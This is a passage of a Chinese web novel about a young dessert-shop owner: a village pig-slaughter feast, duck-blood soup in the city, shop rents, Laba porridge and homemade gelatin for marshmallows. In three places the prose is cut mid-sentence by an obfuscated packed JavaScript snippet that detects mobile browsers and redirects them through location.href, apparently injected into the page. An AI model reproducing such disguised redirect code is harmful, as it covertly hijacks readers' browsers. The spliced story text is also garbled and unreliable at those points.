“你是不是最近太累了？是不是发烧了？脸怎么这么红？”好安见谢宗林不仅脸红，胳膊还有些颤抖，不觉心里有一丝愧疚。 最近急于求成，是不是让他太操劳了。 除了上班和做饭，一有空就要跟着她身后学习，劳模还从不休假。 “我没事。”谢宗林说道。 好安把他推到一边：“没事也先歇歇。” 谢宗林抓着手腕，一脸失望。 手感这种东西大部分都是长年累月积累下来的经验，一时让新手意会这个确实有些难。 好安眉头紧锁双手揣胸，在院子来回踱步。 得想一个解决办法。让他知道一斤面放多少油，一斤馅料放多少糖。 “卖柴火嘞。”门外传来吆喝声。 谢宗林连忙起身道：“家里柴火没了，要买。” 县城不像村里，到处都有柴火，很多村里词常见的东西都要花钱买。 “叔多少钱？”好安开门问道。 “一刀十二文。” “之前不是十文吗？”谢宗林问道。 “冬天啦，柴火不好捡，涨价啦。”卖柴人走近问道：“要吗？” 好安回头问谢宗林：“一刀是多少？” “三十斤左右。”谢宗林耳朵还是红的。 “小娘子别担心，我这都称过了。”卖柴人笑呵呵道：“你相公经常在我家买，知道我从不缺斤短两。” “不是相公。” 两人异口同声道。 “好好好，你说不是就不是。”卖柴人一副我不相信的神情。 “你看着买。”好安被调侃的红脸，连忙跑回屋内。 这卖柴人怎么能瞎说呢，老不正经！ 她和谢宗林可是纯纯的战友情！ 屋外，搬柴声响过之后便没了声音，好安把窗户掀开一角，确认院里没人了才推门出去。 谁想刚踏出房门，谢宗林也从柴房出来了，二人隔空对视一眼，好安“唰”一下收回脚。 不对，他俩清清白白，她凭什么要收回来。 “砰”好安大开房门，雄赳赳气昂昂地走了出去。 余光瞥见仍站在房门前的谢宗林，说道：“我知道怎么控制量了。” 虽然被当面调侃了一回，但卖柴人确实给了她方向。 柴火称重，她也能称重。不就是定量嘛，做个量杯就行。 “回头我让好昕做几个不同刻度的杯子，你到时候按照刻度放就行。” “我来做吧。”谢宗林回道。 好安刚想回绝，可一想到这样是不是太刻意了，于是改口道：“那，那先找个竹筒。” 磨竹筒只能在院子里，谢宗林还时不时来问她这样行不行，那样行不行。搞得她脸红半天也退不下来。 她想回屋了。 可平日里没事她都在院子里呆着，现在要是回屋岂不是显得他俩有什么？ 做人要敞亮！ 他俩清清白白，不能回！ 好安决定和椅子绑死。 但谢宗林怎么跟没事人一样！ 他是不是觉得无所谓，不在乎？ 不对，我为什么要考虑他的想法！ 好安正自己怄气，忽然村里有人捎来消息，说牛婶家要杀猪了，请她去吃杀猪饭。 那头猪经过她活死猪，谯秽根的猪崽终于长成大肥猪啦。 好安立马应下并借机回屋。 60. 杀猪宴 清晨，薄雾还未去，笼罩在整个村子上。微弱的晨光穿过雾气，形成一道道光束，显得格外宁静。 好安先回了趟家。 房子闲置就容易加速老化，虽然好来婶和田桂常常来打扫，可门窗桌椅逐渐失去了光泽。 好安正想着怎么解决，便听隔壁出来刘三嫂的声音。 “安安，你回来啦。” “对。”好安回头望去。 “是来收拾房子，准备回来过年？” 刘三婶背着个篓子，像是刚从外面回来。 “还没定，先打扫打扫。” 好安看刘三婶的篓子沉甸甸的，不由好奇问道：“这么冷的天地里还有吃的？” “地早就翻了啥也不剩，是山里的。”刘三婶放下篓子说道：“山里毛竹多，长了好多冬笋，一大早好多去挖呢。” 篓子里除了冬笋还有几把野芹菜。 “不说了，我要再去一趟。”刘三婶背起篓子问好安：“你去不？” 今天来的早，闲着也是闲着，好安换了身衣服欣然加入挖笋大军。 挖笋方面好安是个标标准准的新手。 冬笋和春笋不同。 春笋大剌剌的冒出头，让人一瞧便知。冬笋却是害羞的，藏在第一下。 好安拎着锄头，看着以前广袤的竹海不知如何下手。 “找老点的竹子，下面哪有鼓包和裂缝八成就是。”刘三婶说道。 好安刨了两块地便发现了一个嫩黄色的小尖尖。 找到了！ 好安蹲下身子，内心狂喜。 一想到冬笋细腻脆嫩的口感，好安双手来劲。 冬笋炒腊肉、冬笋炖鸡汤、冬笋蒸肉饼，她来啦！ 黄色的部分越来越多，好安完全沉静在即将收获的喜悦中。 锄头深入泥土，地里突然传来一道沉闷的声音。 断了，半截淡黄的冬笋斜倒在坑里。 “能炒半碟菜。”旁边挖笋的人笑道。 好安尝试把剩下的半根也挖出来，被旁人拦住。 “我来，新手容易挖坏根。” 说着不仅把断笋挖了出来，还把周围的泥土盖了回去。 只要竹鞭找的好，发现一个就是一窝。 一个时辰，好安就跟随着大部队挖了大半筐。 “挖笋还是要跟在刘蔓后面！”众人说道。 刘蔓是刘三婶大名。 “？”好安没懂。 “刘蔓挖笋技术可不得了，看一眼就知道这竹子下面有没有笋，晃一晃就知道笋长在那。” 大家纷纷夸赞把刘三婶搞不好意思了，道：“我经常和我家老李上前砍竹子，次数多久就熟了。” “你家老李也厉害，去年给我家做的竹床可凉快了，一点刺都没有！” 刘三婶红着脸道：“他就这个干得好，其他的都不行。天天砍竹子回家，屋里院子全堆满了，我都快没地下脚步了。” …… 没地下脚？她家有啊，何况他们俩家还挨着。 好安赶紧走过去，问她家要不要租房。 刘三婶的的确确在愁家里地方不够，这不瞌睡了有人送枕头，二人一拍即合，连忙去回去签契书。 契书签好后时间也不早了，好安收拾了一下拿着好记的点心去牛婶家。 好安到的时候猪已经绑好了，院子里的支起大锅，冒着蒸腾的热气。 牛大叔坐在条凳上，面前放了块磨刀石，正在一下一下的磨着刀。 刀刃在太阳下闪着寒光。 “安安快坐。”牛婶热情招呼道。 “猪多少斤？”好安问道。 “一百二！”说到这个牛婶就激动：“本来还能再养一阵子，但它太能吃了，给他准备过冬的口粮它都提前吃完了。正好过几天大牛他爷过寿，我想着不如拎几条排骨过去。” 好安接过牛婶的热茶说道：“这么能吃，怪不得这么肥。” “是真的肥，以往我们家养一年多说不定都没这个头，现在还不到一年。”牛婶脸上的笑容就没停过。 磨刀声停下，牛大叔走近。猪像是嗅到了铁锈气，开始疯狂挣扎。 好安被吓到，身上的汗毛都竖了起来。 “你害怕的话，进屋去吧。”牛婶说道。 “我进屋。”好安连忙起身。 猪叫的嘶声力竭，好安哪怕捂着耳朵，心里还是咚咚打鼓，看着猪血一盆接一盆，在回想时才发现猪已经没了动静。 好安朝外瞅了一眼，牛大叔正在用热水烫猪去猪毛。 “安安姐，你怕吗？”大牛也躲在屋子里。 好安：“有点瘆人。” “我也怕，每次杀猪我都觉得猪好可怜。” 大牛咽了咽口水，说道：“可我娘一做杀猪菜，我又觉得猪肉好好吃。” 没有人能逃过真香定律。 好安不知道说啥，硬邦邦地回了一句：“这回更好吃。” “好了，你们可以出来啦。”牛婶再院子里喊道。 好安出来时，猪头已经被砍掉，猪身被对半劈开。 “这次猪肉和以前好像有点不一样。”牛婶拎着后蹄髈道：“味道也淡。” 味道淡是因为没有骚味啊！ “味道淡会更好吃！”大牛 牛婶笑了笑：“你吃过？” 大牛叉腰道：“安安姐姐说这次更好吃。” 这一头猪除了自家吃还要卖一点。 院子外已经有人在排队。 “田桂？”好安想到谁来买都没想到田桂回来：“你家不就卖猪肉吗？” “这次不一样。我来提前验收一下成果。”田桂要了一条五花，两根肋骨。 “要是这次特别好吃，我可是要加价卖的！” “我预订！”好安连忙说道。 不管什么时候杀，她都愿意等。 “不用担心，肯定给你留着！” “我要一整头。” “一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272909|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整头？”田桂震惊道：“你家才多少人，就算加上店里的都没超过十人吧。你不怕坏吗？” “不会坏，我店里用。我还担心一头不够呢。” “猪肉做点心？”田桂一时想象不出来。 好安忽然想起了什么，说道：“如果有人买肉不要猪皮的话，猪皮都留给我呗。” “行啊，猪皮没什么油水，不要猪皮就能多称一点肉，他们乐意还来不及呢。”田桂拍了拍胸膛道：“包我身上。” 卖肉的人不多，猪肉还剩半副。 临近年关，后面陆陆续续还有人家杀猪，今天买的几乎都是准备这几天吃的。 杀猪，中午自然有杀猪宴。 内脏没有卖，牛婶用它做了一盆杀猪汤。 杀猪宴主要是猪肝、猪腰子、猪瘦肉、猪血，这几样都要足够新鲜。 猪肝、猪腰子和猪瘦肉切成薄片，煮五成熟，然后加入猪血、姜片等，再用小火慢煮，最后撒上葱花。 看似清汤挂水，实际能鲜掉眉毛。 除了杀猪汤还有红烧猪肉和炸丸子。 一顿六个菜，其中三个大荤，已经是过年才有的待遇了。 一起吃饭的除了牛婶一家，还有两个今天帮忙杀猪的汉子。 都是饭量惊人的劳动力，牛婶索性直接盛了一人米饭放在桌上。 牛大叔没急着吃饭，而是先盛了碗杀猪汤。 牛大叔率先喝了一口，道：“这汤和以前不一样。” “哪不一样了？”大伙都等着后边句，结果牛大叔话说一半又不说了。 他炫空碗里的猪杂趁着盛汤的间隙道：“特别鲜！” “谁家杀猪汤不鲜？”牛婶没放在心上，先盛了一碗饭。 其他人也都是先盛饭，谁饭前喝汤，喝饱了这么多肉菜不就吃不下了吗？ 干活的两个汉子夹了一块红烧猪肉，棕亮粘酱汁包裹着肉块，在阳光下闪烁着诱人的光芒。 夹着一些米饭，一口塞入口中，肉汁在嘴里爆开，肥肉瞬间融化。 “好吃！”两个汉子瞪大双眼，随即就是埋头苦吃。 这么好吃，牛婶愣住，是她厨艺又提高了？ 她半信半疑的夹了个丸子。 外皮焦脆，内里多汁，完全没有骚味！ 这猪真的不一样！ 好安已经好久没吃到如此纯净的猪肉了，已经一头扎在碗里。 一时间桌子上没人说话，都是碗筷碰撞的声音。 最后大伙连一点汤汁都不放过，碟子抹得就像刷过一样，蹭亮！ “婶子，这个肉我可以买一点回去吗？”汉子问道。 “我也买！”另一个汉子立马跟上。 没有骚味的猪肉太好吃了。 “哈，行啊。” 因为太好吃了，牛婶都舍不得卖了，但是人家来帮忙，你要是一点猪肉都不卖实在说不过去。 于是，牛婶都没问他们要多少，直接起身说道：“我去帮你们称。” 61. 鸭血粉丝汤 回县城前，好安特意去好大山家门前溜达了一圈。 她人虽不在村里了，但还记挂着村里的一切，尤其那条属于她的猪后腿。 王翠花做人不行，但一直把家操持的很好。现在和离了，院子变得乱七八糟的，一看就是没人打扫。 好安不禁想到，她的猪会不会饿瘦了？ 猪圈靠里，门口看不了，于是好安找了个木桶，踩在上面才看见猪——猪呢？！ 猪圈空空荡荡，但猪食槽边上还挂着几片烂菜叶子，看起来像前脚刚走。 “嗬，你干什么！”好雪一出房门看见墙头上冒出个脑袋，抬手就把手里的菜根砸了过去。 幸亏好安反应快，菜根擦着头顶飞了出去。 “你，好安？” 好雪心头一颤，对方萤光彩布、面容白嫩，而自己衣衫褴褛、面容憔悴。 要不是她，爹娘也不会和离，自己也不会变成现在这样。 都是因为好安。她抠住衣袖，眼里流出恨意，道：“看什么看，再看把你眼挖了！” “我的猪后腿呢？！”好安才不管好雪说什么，只关心现实问题。 这时好大山出来了，好方也探出个半个身子，但很快又缩了回去。 不过几个月的时间，好大山明显见老，全家唯一没什么变化的就是好方，依旧大爷似的肩不抗手不提。 四下没人，好大山也不装了，不耐烦道：“我和王翠花都和离了，当初是她惹的祸，你找她要去。” …… 还能这样？ 说着，好大山一把把门带上。 物理隔离大法。 好安懒得跟这一家掰扯，直接去找村长说明一切。 “他家怎么会没猪呢，我前几天还在啊！”村长皱眉，估摸着是被好大山半夜运出去卖了。 “安安放心，当初说好的一条猪后腿就是一条猪后腿，保证给你。” 村长十分重视。 吃了谯过的猪，好安对那个下落不明的猪后腿兴趣不大，便想拿出去卖换成铜板。 自从好安搬去县城，就把发豆芽花生芽的技术交给了村长，然后村长再教给大家。 现在村里十家有九家会发。 如今地里没活，菜也少，不少人组队去隔壁村或者县里卖，想多赚的就挑去隔壁县城卖，一趟下来一人能分到一二百文呢。 现在村里谁不说好安好话，更何况卖一个猪后腿。 “过年谁家不买肉，猪后腿要的人多呢。” 村长一手揽下来，好安便安心回去了。 一筐冬笋，三条猪肉，这一趟连吃带拿。 天越来越冷，但辣椒作坊的事一点没停。 种植选在王家庄子上，王宁已经被撵去南边收辣椒。好安负责提前育苗，等明年开春温度上来就能直接种下。 作坊地址选在郊区，目前计划建三条生产线。 一条辣油，一条辣酱，还有一条辣椒粉。 其中先建辣椒粉，做五香辣椒粉。 一是辣椒粉保存时间最长能卖得远，二是都磨成细粉不容易被看出原料。 普通工人王家准备年后直接张贴招工通知，核心工艺王记打算抽调一些签了卖身契的人。 被抽调出来的空位再买新人添上。 大户人家买人都有自己的渠道，好安蹭着这次机会也买到了合心意的人——一家四口。 女的会做糕点，男的在厨房干过，两个孩子年纪也不小了，能打下手。 谢宗林这半个月做甜品点心已经有模有样，这四人好安索性就交给他调教。 冬至过，天越来越冷，腊月搭着二九的尾巴来了。 赵瑾瑜天没亮便到好记接好安。 好安带了做好的蛋糕胚和一桶奶油。现在的气温，奶油放三到七天没问题。 好安点了点东西，确认无误后背起工具箱踏上那边。 “等等！”谢宗林忽然匆忙追了出来。 “这个带着。”他塞给好安两个东西，一副新缝的兔毛手套和一个汤婆子。 好安原本不觉得手冷，现在好像是有点凉。 赵瑾瑜见好安还没进来，掀起车帘便看见这一幕。 “你家下人真体贴。” 好安：“他不是我家下人。” “好，不是。”赵瑾瑜笑吟吟的看着眼前二人。 好安突然有点热：“铺子里这几天就交给你了。” 说完，连忙钻进了车里。 出了县城后路上越来越慌，树枝裸露在空中显得越发枯燥颓败。 等快到府城时，官道上人才慢慢多了起来，有挑担的货郎，有赶路的行人，还有赶着马车的商人，在城门间来回穿梭。 这还是好安第一次来府城，不禁多看了两眼。 城内，道路两旁店铺林立。 卖炒栗子的摊子冒着热气，香味在空气中弥漫，吸引着过往行人。 不远处，有一座茶楼，里面传来阵阵说书声和观众的惊呼。 围炉、品茶、听书，消磨着冬日悠闲的时光。 马车刚进城便停下，好安正要看看什么原因便听车外传来说话声。 “表小姐，您终于到了。”等在城门口的老婆子像是松了一口气，说道：“老爷听说您今天来，特意命我提前在这候着。” “劳舅舅操心了。”赵瑾瑜探出头说道。 老婆子接过车夫手里的缰绳，驾着马车拐入小巷，停在一座二进的宅院前。 赵瑾瑜率先跳下马车，和好安朝宋敏萱的院子走去。 三人之前都见过，简单寒暄几句后安排好食宿，宋敏萱便问好安要不要趁着太阳还没下山出去逛逛。 此举正合好安心意，赵瑾瑜也双手赞成。三人便去了最近的一条街。 与万和县相比，府城人也多，马路也宽，房子也高。 平陵府自古便是江南富庶地，是南方最繁华的州府之一。 淮清河穿城而过，河畔商贾云集，酒肆茶楼林立，文人墨客在此吟诗作画，留下无数佳话。 宋敏萱家离淮清河很近，走上一盏茶的功夫便到。所以她们这次逛的这条街就挨着淮清河，也是平陵最繁华的街坊之一。 “这家！” 还未凑近，好安便闻到浓郁的鸭香。这香气醇而不腻，带着独有的鲜味。 赵瑾瑜迫不及待跑到一家铺子前，说道：“他家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15291906|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鸭血汤色香味俱全，现在趁人还不多我们赶紧来上一碗吧！” “这叫人不多？”好安看里面一座无虚席。 “你没见过他家人多的时候，他家只要不排队就是人不多。”赵瑾瑜眼巴巴的看着表姐，等着她点头答应。 “你在外面吃饱了，回去吃不下了怎么办？”宋敏萱打趣道：“到时候父亲又要说你三餐不正。” “表姐，我知道你肯定有法子……”赵瑾瑜抱着宋敏萱胳膊撒娇，而好安早就被鸭血汤老板的手艺吸引。 老板随手从盆里捞出一块色泽鲜红的鸭血，放在手心。都不用眼睛看，薄刃在鸭血上飞速划过，几乎不发出任何声音。 横竖几刀的功夫，老板把鸭血放进一个大盆中，舀上一勺清水倒在鸭血上，鸭血便在水中散开，个个分明，大小均匀。 洗掉多余的血水和杂质，鸭血变得更加鲜红。 沥干水分后，放入锅中。锅中里热水翻滚，鸭血逐渐变得紧实。 老板站在锅边，一边准备其他食材，一边时不时用勺子轻轻搅动鸭血。 片刻后，老板用筷子夹起一块鸭血，轻轻吹了吹，然后放进嘴里尝了尝。 好安看到这不由咽了咽口水。 “走，我们进去。”赵瑾瑜喜滋滋地挽着胳膊朝店里走去。 店里还有二楼，也没什么空位，赵瑾瑜眼疾手快，看见一桌临窗的客人起身，立马占了过去，小二也很有眼色飞快的收拾好餐桌。 “三碗鸭血汤和单独一个小碗。” “好嘞，客官请稍等。” “楼上居然还有点热。”赵瑾瑜摸了摸额头，感觉自己要出汗。 “窗户先开一点透透风吧。”好安也觉得楼上有点闷。 “那我们换个座位。”宋敏萱单独做到不开窗的一侧。 窗户推开一条缝隙便是一幅绚丽的美景。 太阳西落，藏在高楼之后，但晚霞散落满天。大半个天空都是橙红色，西边却有一块是淡淡的绯色，可惜被一座高楼挡住。 “那是花月楼，春赏花秋赏月，是平陵最高的地方，可俯瞰整个平陵。” “花月楼是什么地方？”好安不禁好奇道。 宋敏萱：“王府宅院。” 有钱有权真好。 “来喽，请慢用。” 除了三碗用大碗盛的鸭血汤，还有几个装了芫荽和醋的碟子。 粗糙中带着一点精致。 鸭血汤汤色清亮，呈淡淡的琥珀色。 好安连忙喝了一口，鲜！ 鸭血也果然如她想象一般滑嫰。 在汤中炖煮后，充分吸收了汤中精华，一口咬下去，都带着浓郁的鸭香。 好安再用筷子唠了几下，除了满满的鸭血还有红薯粉！ 粉丝吸饱汤汁后变得晶莹剔透，如同一缕缕轻纱在汤中舞动。 这不就是鸭血粉丝汤吗？ 另外两人。 宋敏萱单独舀了几勺汤，剩下的便都推给赵瑾瑜。 “你两碗？”好安有点惊讶，这汤碗很大，一般人一碗足矣。 “这条街上他家最好吃！来都来了就要吃个痛快！”赵瑾瑜昂首挺胸道。 62. 腊八粥 宋敏萱定制的生日蛋糕十分简单，好安做好后在蛋糕插了一个旋转莲花灯。 这个莲花没有王老太太寿宴上的那个复杂，不需要发条，它更类似走马灯，点火就能转。 宋家在平陵算不上数一数二的人家，家宅也不过是个二进的院子，但能挨着寸土寸金的淮清河，家里至少有个一官半职或者稳定的收入。 宋敏萱过得是小生日，除了自己亲戚，还邀请了几位闺中好友，她们家境自然也不差。 生日蛋糕便主要用来招待她们。 “没想到寒冬腊月的居然还能看见莲花！” 宋敏萱喜欢精巧的东西，相对于已经吃过的生日蛋糕，她对莲花灯更感兴趣。 “宋姐姐，你要是喜欢莲花灯便赶紧取了去。正好你盼着灯，我们盼着吃呢。”一位明显和宋敏萱关系不错的小娘子打趣道。 “嗯。”赵瑾瑜塞着一嘴的酒酿小汤圆，连连点头。 “是我疏忽了。”宋敏萱笑道。 她将上面一层的蛋糕差人送去前厅给爹娘他们，才拿起竹刀将蛋糕分给众人。 “这个好像鲍螺。” “是很像，但鲍螺我吃着极容易腻。这个可不同，配上下面的糕底吃起来舒服多了。” 宋敏萱遇到不好吃的宁可不吃，可是除了名的嘴叼，有人赶紧按照她说的方法尝了一口。 “又松软又香甜。不知宋妹妹从那家店买来的？我明年过生辰也要买一个。” “这可不是在平陵买的。”宋敏萱看着赵瑾瑜笑道：“是瑾瑜特意从外地请师傅来家里做的。” “外地的啊，那岂不是吃不到了。”一位年幼许多的小娘子嘟着嘴巴。 “平陵点心铺子不少，但都大差不差。难得吃到不一样的点心，居然是外地的！”有人附和道。 “也不一定，她既然能来平陵一次就能来第二次。”离宋敏萱最近的小娘子问道：“不知这个师傅怎么约？” 宋敏萱：“她现在就我家，不如请过来问问。” 好安正收拾着工具，听有人请便跟着去了。 等她到时，不禁让人侧目。 原本以为是个中年的叔叔婶婶，没想到是个和她们差不多大的小娘子，一下没了距离感，围着好安问什么时候再来府城。 都是钱啊！好安每个都想答应，但她们时间太分散，她真不知道她到时候有没有时间。 看来可以试试在府城开一家好记甜品了！到时候这些人都是她的推销大军。 好安说干就干，从宋家出来后便去平陵的街道溜达。 看见路边有一家庄宅行立马走了过去。 店里墙上挂着一副巨大的平陵地图，不精细，但重要地方或出名的街道都标记出来了。 “客官是想租还是买？”房牙子立刻迎了上来。 好安：“我先看看。” 房牙子：“好嘞，您要是有什么需求直接到柜台问就行。” 平陵最出名的自然是淮清河，接着是平陵十八坊。 淮清河蜿蜒，横穿平陵。 附近不仅有住宅，还有很多书肆、客栈、茶楼。是个从白天热闹到晚上的繁华之地。 平陵十八坊则是手工业聚集地，如颜料坊、木匠坊、铁作坊、织锦坊……更像一个巨大的贸易市场。 除了这些地方还有东锦绣坊河西锦绣坊，这些地方主要是达官显贵的聚集地，街道两旁商铺林立，卖的大部分是高档商品。 好安指着地图问道：“这一块淮清河附近租金是多少？” “客人好眼光，这一块是中心的中心。”房牙子见好安是个年轻小娘子，估摸着是给家里人看住房便默认道：“非乡试年的时候，独院按月租的话四两起，乡试年八两起。” “八两？！”好安经得连声音都变调了。 一年就是九十六两！ 不算她捣鼓的外快，好记一年流水都没九十六两。 房牙子干这行多年，早就对客人的反应习以为常，道：“平陵不仅是南方文化荟萃之地，更是天下文枢。” 说着，他在好安画的这块地段里指着一个红点点，继续道：“过了桥就是江南贡院，读书人在此居住既能方便学习，又能收到熏陶。” 虽然明年不是乡试年，好安仍然心如死灰。 “铺子呢？” “铺子看大小，基本上比住宅贵上两成。” 想必贡院附近都是卖笔墨纸砚，她一个卖甜点的就不去考验这些读书人的心性了。 她退了。 “这一块呢？”好安指着锦绣坊问道。 她不信这还能贵过贡院附近。 房牙子：“这里的商铺大部分一月租金六两起，最便宜的只要四两。” 要是第一个问的是这块地，一年七十二两，她肯定觉得贵。 但在九十六两的衬托下，真便宜呢。 好安在地图上指了一圈，只要在人流量还行的地方，商铺租金最少也要二两银子一月。 平陵居大不易！ 好安带着沉重的房价回家了。 ———— 进了腊月，年就近了。 甚至北方有说法：过了腊八便是年。 万和县偏南，腊八的习俗远没北方隆重，但腊八粥还是各家必不可少的。 这里的腊八粥分两种：寺庙粥和家粥。 寺庙粥是“素腊八”讲究料多粥稠，立筷不倒。 家粥则随意，可以做“素腊八”也可以做“荤腊八”。 万和县有北方人，所以不仅有咸口腊八粥，也有甜口腊八粥。 好安准备两种都种，提前一日把食材都泡上了。 糯米、莲子、花生、绿豆、红豆、桂圆、红枣…… 这是甜口的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297173|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加咸排、红薯、萝卜、回芽豆、油豆腐……再用荤汤熬煮就是咸口。 习俗认为腊八早上的卯时是吉时，最宜纳福。巷子里平日一些晚起的人家也纷纷早起，赶着点的相互送粥。 隔壁张叔北方人送甜口，前面赵婶本地人送咸口。今天来好记堂食的也会免费赠送一碗腊八粥。 “砰砰砰。” 好安正细细品味咸口腊八粥丰富的口感，门忽然响了。 “安安，你的皮来啦！” 田桂。 是她的猪皮！ 好安立马开门。 好安：“这么快卖完了？” 田桂今早带了两整只猪，每只少说也有八九十斤。 “我养的卖完了，我娘的还在卖。”田桂叉腰骄傲道。 好安懂了，碰到识货的了！ “你多少钱一斤卖的？”好安问道。 说到这个，田桂不由面露得意：“三十文，比平日里贵了五文，比逢年过节贵了两文。” “他们只要吃过，一定会念念不忘。” 好安接过猪皮，还挺多重，能由五斤。 “必须的！以后他们都找我来卖猪肉的话，我很快就能成为万和县猪肉第一人！”田桂挥着拳头说得激情澎湃。 “猪肉大王！” 好安不知为何也被田桂激昂的情绪触动，放下碗踩在板凳上，也道：“那我就要成为万和县点心大王！” “对！”田桂举着好安的手直冲天空，道：“双王合并。” 谢宗林刚买菜回来便看见两个中二少女。 好安伸出双手，像是捧着什么东西。田桂心有灵犀，优雅的接过一团空气，将它戴在好安的头上。然后田桂依此类比，由好安给田桂带上。 天空澄澈，寒风一下便得轻柔，像是在为她们二人纳福。 最后她俩一边左手勾着右手地转圈圈，一边喊“王、王、王”。 黄豆和米粒也摇着尾巴跟在她俩身后打转，像是她俩最忠诚的下属。 谢宗林笑不知从何起，强装淡然撇头，打算悄悄从墙根走进院子，不打扰她们。 人呐，太开心的时候就容易忽略脚下。尤其一边走路，一边偷看，一边憋笑的。 这不，一不小心踩到院子里散落的柴火了。 好安和田桂正带着她们的黄豆下属和米粒下属巡视领地，便被杂音扰乱。 姐妹之间怎么发癫、嬉笑打闹都好，但被第三人看见了就是另外一件事了。 二人“唰”一下恢复寻常模样。 “剩下的十头什么时候卖？” “带着卖，小年前卖完就行。” “按这情况，十头可撑不到小年。” 好安字正腔圆的问，田桂一脸正经的答。 明明三人都相互看见了，但都假装没看见。 谢宗林抿着嘴巴，淡定仰头进屋。 63. 棉花糖 好安一语中的，看上田桂猪肉的是个大户人家，回去吃过后，第二天一早就在城门口守着田桂，把剩下的十头全包了。 还是田桂好说歹说才扒出八只猪的猪皮。 这户人家要求一天杀一头，所以田桂每天都要送一次猪皮来。 新鲜的猪皮胶原蛋白含量高，于是好安只要一拿到猪皮就作吉利丁。 猪皮上的油脂一定要去的干干净净，幸好田桂刀工好，脂肪几乎无残留。这可给好安带来极大地方便。 猪皮焯水，随着水温升高，猪皮表面逐渐浮现一层白沫。 这是藏在猪皮里的血水和杂质，需要及时撇去，直到锅中的水没有浑浊。 焯好水的猪皮要多次清洗，彻底去除油脂。 为了快速出胶，猪皮切成细丝，然后再放回锅中加清水继续熬煮。 熬煮拍不用像熬阿胶一样太久。水少了中间还能添水。直到锅的周边凝结成膜，猪皮变得软烂，汤汁浓稠便可出锅。 这个汤汁就是制作吉利丁的原料，胶原蛋白十分容易凝固，只要把汤汁倒入托盘，铺平，自然晾干后就是吉利丁片， 有了吉利丁，能做的甜品可就多了。 慕斯、布丁、果冻……甚至还能做棉花糖。 它不仅是凝固剂，还能延长保质期，十分适合提前制作和保存。 “像糯米纸。”好昕问道：“能直接吃吗？” 好安：“按理说能。” 姐姐既然这么说，好昕便知道直接吃肯定不好吃。 “那它怎么吃？”好昕好奇道。 “我现在给你做一种糖。”好安看桌子上还有炒熟的玉米淀粉和一些鸡蛋清说道。 好安看了一眼蛋清和糖，谢宗林秒懂，立刻递了过来。 蛋清里放入磨成粉的黄.冰糖，用竹制打蛋器搅至提起有尖角。 锅里放少量的水、柠檬汁和大量的白糖，中小火化开后不停搅拌到糖粉完全融化。 这时赶紧加入吉利丁，倒入刚刚搅过的蛋清中。 好安左手捧着碗，右手拿着打蛋器飞速搅拌。 一手稳稳当当，一手快出残影。 好昕一脸崇拜的看着姐姐的手。谢宗林则一脸崇拜的看着好安认真的神情。 先是越打越稀，随着温度的降低糖霜才逐渐变得粘稠。 碗里的糖霜膨胀至两倍大，变得如云朵般轻盈蓬松，梦幻光滑好安才停手。 好安拿来托盘，再托盘上撒匀熟玉米淀粉，然后将打发好的糖霜倒入托盘中抹匀并在撒上一层淀粉。 “这就好了吗？不用上锅蒸？”好昕见姐姐已经开始洗手，忍不住问道。 “不用蒸，但明天才能吃。” 棉花糖需要足够的时间冷却和凝固，糖浆在这段时间里悄然结晶，才会变得更加蓬松轻盈，口感更加细腻。 这吊足了好昕的胃口。 ———— 第二日，腊月十六，大寒。 好昕“咚咚咚”地重回家中：“休假啦！” 好昕的私塾从大寒开始休假，休到来年元宵。 “姐姐，糖能吃了吗？” “当然能。”好安把托盘拿到堂厅，糖看起来依旧是昨日的模样。 好昕：“没有变化啊？” “真的吗？”好安笑着用到将棉花糖切开。 “他没有粘黏！”好昕记得昨天倒入托盘时黏糊糊的。 “尝尝。”好安用竹签戳了一块递给好昕和谢宗林。 轻轻一咬，棉花糖便在舌尖瞬间融化，甜味立刻充满口腔，仿佛全世界都变得甜蜜起来。 “好软！”平时比较冷静的谢宗林都瞪大了眼睛。 好昕：“姐姐，它有名字吗？” 好安：“棉花糖，是不是很形象。” 谢宗林：“形象！” 好昕见名字都有了，便问道：“姐姐，这是你马上要上架的新品吗？” 好安：“不是。” “唉。”好昕突然叹了口气，人小鬼大地说道：“那他们没有口福了。” “会上架，但最近不会。”好安说道：“我准备等府城的铺子开业再上架。” 府城的铺子？！ 五个字堪称平地惊雷。 “我们家要搬去府城了？”好昕顾不上嘴里棉花糖，含糊不清道。 好安：“铺子还没看好，还要等等。” 正月底有个府城有个生日蛋糕的单子，她准备到时候在府城多住几天，争取把铺子定下来。 好安这么说，府城便是去定了。 好昕用头蹭了蹭肩膀，他刚认识了好多朋友，有些不舍。 好安像是看穿了他所想，说道：“你先不去。” 